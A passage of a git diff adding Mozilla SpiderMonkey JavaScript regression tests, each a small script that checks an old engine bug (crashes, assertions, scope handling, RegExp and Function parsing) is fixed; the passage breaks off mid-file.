+// |reftest| skip-if(xulRuntime.shell||(xulRuntime.OS=="WINNT"&&isDebugBuild)) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341360;
+var summary = 'clearInterval broken';
+var actual = '';
+var expect = 'Ok';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function xxx()
+{
+ if(t != null)
+ {
+ print('Clearing interval...');
+ window.clearInterval(t);
+ t = null;
+ setTimeout('yyy()', 2000);
+
+ }
+ else {
+ print('Clearing interval failed...');
+ actual = "Broken";
+ gDelayTestDriverEnd = false;
+ reportCompare(expect, actual, summary);
+ jsTestDriverEnd();
+ }
+}
+
+function yyy()
+{
+ print('Checking result...');
+ actual = 'Ok';
+ gDelayTestDriverEnd = false;
+ reportCompare(expect, actual, summary);
+ jsTestDriverEnd();
+}
+
+print('Start...');
+gDelayTestDriverEnd = true;
+var t = window.setInterval(xxx, 1000);
diff --git a/js/src/tests/non262/regress/regress-343713.js b/js/src/tests/non262/regress/regress-343713.js
new file mode 100644
index 0000000000..8d2cd609cc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-343713.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 343713;
+var summary = 'Do not assert with nested function evaluation';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+with (this)
+ with (this) {
+ eval("function outer() { function inner() { " +
+ "print('inner');} inner(); print('outer');} outer()");
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-343966.js b/js/src/tests/non262/regress/regress-343966.js
new file mode 100644
index 0000000000..556c0392ba
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-343966.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 343966;
+var summary = 'ClearScope foo regressed due to bug 343417';
+var actual = 'failed';
+var expect = 'passed';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Function["prototype"].inherits=function(a){};
+ function foo(){};
+ function bar(){};
+ foo.inherits(bar);
+ actual = "passed";
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-344711-n.js b/js/src/tests/non262/regress/regress-344711-n.js
new file mode 100644
index 0000000000..59abee0cf2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-344711-n.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 344711;
+var summary = 'Do not crash compiling when peeking over a newline';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window == 'undefined')
+ {
+ // exclude from browser as the crash only occurs in shell
+ // and attempting to trap the error prevents the crash.
+ var a1 = {abc2 : 1, abc3 : 3};
+ var j = eval('a1\\\n.abc2;');
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-344804.js b/js/src/tests/non262/regress/regress-344804.js
new file mode 100644
index 0000000000..ed0a853993
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-344804.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 344804;
+var summary = 'Do not crash iterating over window.Packages';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window != 'undefined')
+ {
+ for (var p in window.Packages)
+ ;
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-344959.js b/js/src/tests/non262/regress/regress-344959.js
new file mode 100644
index 0000000000..8056fcbbae
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-344959.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 344959;
+var summary = 'Functions should not lose scope chain after exception';
+var actual = '';
+var expect = 'with';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var x = "global"
+
+ with ({x:"with"})
+ actual = (function() { try {} catch(exc) {}; return x }());
+
+ reportCompare(expect, actual, summary + ': 1');
+
+ with ({x:"with"})
+ actual = (function() { try { throw 1} catch(exc) {}; return x }());
+
+ reportCompare(expect, actual, summary + ': 2');
+}
diff --git a/js/src/tests/non262/regress/regress-346237.js b/js/src/tests/non262/regress/regress-346237.js
new file mode 100644
index 0000000000..ca47950408
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-346237.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346237;
+var summary = 'RegExp - /(|)??x/g.exec("y")';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /(|)??x/g.exec("y");
+
+ reportCompare(expect, actual, summary + ': /(|)??x/g.exec("y")');
+}
diff --git a/js/src/tests/non262/regress/regress-346801.js b/js/src/tests/non262/regress/regress-346801.js
new file mode 100644
index 0000000000..c6d6fbaf3b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-346801.js
@@ -0,0 +1,73 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346801;
+var summary = 'Hang regression from bug 346021';
+var actual = '';
+var expect = 'No Hang';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ var Class = {
+ create: function() {
+ return function() {
+ this.initialize.apply(this, arguments);
+ }
+ }
+ }
+
+ Object.extend = function(destination, source) {
+ print("Start");
+// print(destination);
+// print(source);
+ if(destination==source)
+ print("Same desination and source!");
+ var i = 0;
+ for (property in source) {
+// print(" " + property);
+ destination[property] = source[property];
+ ++i;
+ if (i > 1000) {
+ throw "Hang";
+ }
+ }
+ print("Finish");
+ return destination;
+ }
+
+ var Ajax = {
+ };
+
+ Ajax.Base = function() {};
+ Ajax.Base.prototype = {
+ responseIsFailure: function() { }
+ }
+
+ Ajax.Request = Class.create();
+
+ Ajax.Request.prototype = Object.extend(new Ajax.Base(), {});
+
+ Ajax.Updater = Class.create();
+
+ Object.extend(Ajax.Updater.prototype, Ajax.Request.prototype);
+ actual = 'No Hang';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-349482-01.js b/js/src/tests/non262/regress/regress-349482-01.js
new file mode 100644
index 0000000000..95f82380c0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-349482-01.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349482;
+var summary = 'Decompiling try/catch in for..in should not crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f = function() { for(p in {}) try{}catch(e){} };
+ print(f.toString());
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-349482-02.js b/js/src/tests/non262/regress/regress-349482-02.js
new file mode 100644
index 0000000000..e4850521cd
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-349482-02.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349482;
+var summary = 'Decompiling try/catch in with() should not crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f = function() { with({}) { try{}catch(e){} } }
+ print(f.toString());
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-349592.js b/js/src/tests/non262/regress/regress-349592.js
new file mode 100644
index 0000000000..882a1988a0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-349592.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349592;
+var summary = 'Do not assert with try/finally inside finally';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function() { try { } finally { try { } finally { } } });
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-350253.js b/js/src/tests/non262/regress/regress-350253.js
new file mode 100644
index 0000000000..83d9557824
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-350253.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350253;
+var summary = 'Do not assert on (g()) = 3';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (g()) = 3;
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-350268.js b/js/src/tests/non262/regress/regress-350268.js
new file mode 100644
index 0000000000..ce306c5c48
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-350268.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350268;
+var summary = 'new Function with unbalanced braces';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+
+ try
+ {
+ expect = 'SyntaxError';
+ actual = 'No Error';
+ f = new Function("}");
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ": }");
+
+ try
+ {
+ expect = 'SyntaxError';
+ actual = 'No Error';
+ f = new Function("}}}}}");
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ": }}}}}");
+
+ try
+ {
+ expect = 'SyntaxError';
+ actual = 'No Error';
+ f = new Function("alert(6); } alert(5);");
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ": alert(6); } alert(5);");
+
+ try
+ {
+ expect = 'SyntaxError';
+ actual = 'No Error';
+ f = new Function("} {");
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ": } {");
+}
diff --git a/js/src/tests/non262/regress/regress-350312.js b/js/src/tests/non262/regress/regress-350312.js
new file mode 100644
index 0000000000..8be38184fc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-350312.js
@@ -0,0 +1,77 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350312;
+var summary = 'Accessing wrong stack slot with nested catch/finally';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var counter = 0;
+
+ function f(x,y) {
+
+ try
+ {
+ throw x;
+ }
+ catch(e)
+ {
+ if (y)
+ throw e;
+ }
+ finally
+ {
+ try
+ {
+ actual += 'finally,';
+ throw 42;
+ }
+ catch(e2)
+ {
+ actual += e2;
+ if (++counter > 10)
+ {
+ throw 'Infinite loop...';
+ }
+ }
+ }
+ return 'returned';
+ }
+
+ expect = 'finally,42';
+ actual = '';
+
+ try
+ {
+ print('test 1');
+ f(2, 1);
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ actual = '';
+ try
+ {
+ print('test 2');
+ f(2, 0);
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-350415.js b/js/src/tests/non262/regress/regress-350415.js
new file mode 100644
index 0000000000..dab88b4630
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-350415.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350415;
+var summary = 'Do not assert with new Function("let /*")';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ new Function("let /*");
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-350529.js b/js/src/tests/non262/regress/regress-350529.js
new file mode 100644
index 0000000000..973a6623ab
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-350529.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350529;
+var summary = "Do not assert: x--'";
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval("x--'");
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-351116.js b/js/src/tests/non262/regress/regress-351116.js
new file mode 100644
index 0000000000..477457735a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-351116.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(xulRuntime.OS=="Linux"&&!xulRuntime.shell&&!xulRuntime.XPCOMABI.match(/x86_64/)&&isDebugBuild) -- bug 521549
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351116;
+var summary = 'formal parameter and inner function have same name';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f = function (s) { function s() { } };
+
+ function g(s) { function s() { } }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-351515.js b/js/src/tests/non262/regress/regress-351515.js
new file mode 100644
index 0000000000..38815e835e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-351515.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351515;
+var summary = 'js17 features must be enabled by version request';
+var actual = 'No Error';
+var expect = 'No Error';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+yield = 1;
+let = 1;
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(yield, let) { return yield+let; }
+
+ var yield = 1;
+ var let = 1;
+
+ function yield() {}
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-351795.js b/js/src/tests/non262/regress/regress-351795.js
new file mode 100644
index 0000000000..ad6abc815e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-351795.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351795;
+var summary = 'Do not assert: top < ss->printer->script->depth';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ p={};
+ (p.z = [1].some(function(y) { return y > 0; }) ? 4 : [6])(5);
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-352208.js b/js/src/tests/non262/regress/regress-352208.js
new file mode 100644
index 0000000000..667c48f078
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-352208.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352208;
+var summary = 'Do not assert new Function("setter/*\n")';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError';
+ try
+ {
+ eval('new Function("setter/*\n");');
+ }
+ catch(ex)
+ {
+ actual = ex.constructor.name;
+ }
+ reportCompare(expect, actual, 'new Function("setter/*\n");');
+
+ try
+ {
+ eval('new Function("setter/*\n*/");');
+ }
+ catch(ex)
+ {
+ actual = ex.constructor.name;
+ }
+ reportCompare(expect, actual, 'new Function("setter/*\n*/");');
+}
diff --git a/js/src/tests/non262/regress/regress-352604.js b/js/src/tests/non262/regress/regress-352604.js
new file mode 100644
index 0000000000..3d6562e9ed
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-352604.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352604;
+var summary = 'Do not assert: !OBJ_GET_PROTO(cx, ctor)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ delete Function;
+ var x = function () {};
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-352640-01.js b/js/src/tests/non262/regress/regress-352640-01.js
new file mode 100644
index 0000000000..6794ef5fd4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-352640-01.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352640;
+var summary = 'Do not assert: scopeStmt or crash @ js_LexicalLookup';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ new Function("do { with({}) let x; let b; } while( 1 );");
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-352640-02.js b/js/src/tests/non262/regress/regress-352640-02.js
new file mode 100644
index 0000000000..98d57e54a5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-352640-02.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352640;
+var summary = 'Do not assert: scopeStmt or crash @ js_LexicalLookup';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ new Function("do { with({}) let x; var b; } while( 1 );");
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-352640-04.js b/js/src/tests/non262/regress/regress-352640-04.js
new file mode 100644
index 0000000000..67dcb54964
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-352640-04.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352640;
+var summary = 'Do not assert: scopeStmt or crash @ js_LexicalLookup';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ new Function("switch(w) { case 2: with({}) let y; case 3: }");
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-353078.js b/js/src/tests/non262/regress/regress-353078.js
new file mode 100644
index 0000000000..742e963091
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-353078.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 353078;
+var summary = 'Do not assert with bogus toString, map, split';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ this.toString = function() { return {}; }; p = [11].map('foo'.split);
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-353079.js b/js/src/tests/non262/regress/regress-353079.js
new file mode 100644
index 0000000000..b49f075c17
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-353079.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 353079;
+var summary = 'Do not Assert op == JSOP_LEAVEBLOCKEXPR... with WAY_TOO_MUCH_GC';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (let a in [1]) { { let x;
+ for (let y in ((function(id2) { return id2; })( '' ))) { } } }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-355023.js b/js/src/tests/non262/regress/regress-355023.js
new file mode 100644
index 0000000000..75c1c3b66d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-355023.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355023;
+var summary = 'destructuring assignment optimization';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Array.prototype[0] = 1024;
+
+ expect = (function(){ var a=[],[x]=a; return x; })();
+ actual = (function(){ var [x]=[]; return x; })();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-355556.js b/js/src/tests/non262/regress/regress-355556.js
new file mode 100644
index 0000000000..296b97e0ac
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-355556.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355556;
+var summary = 'Do not crash with eval(..., arguments)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'TypeError: "foo".b is not a function';
+ try
+ {
+ (function () { eval("'foo'.b()", arguments) })();
+ }
+ catch(ex)
+ {
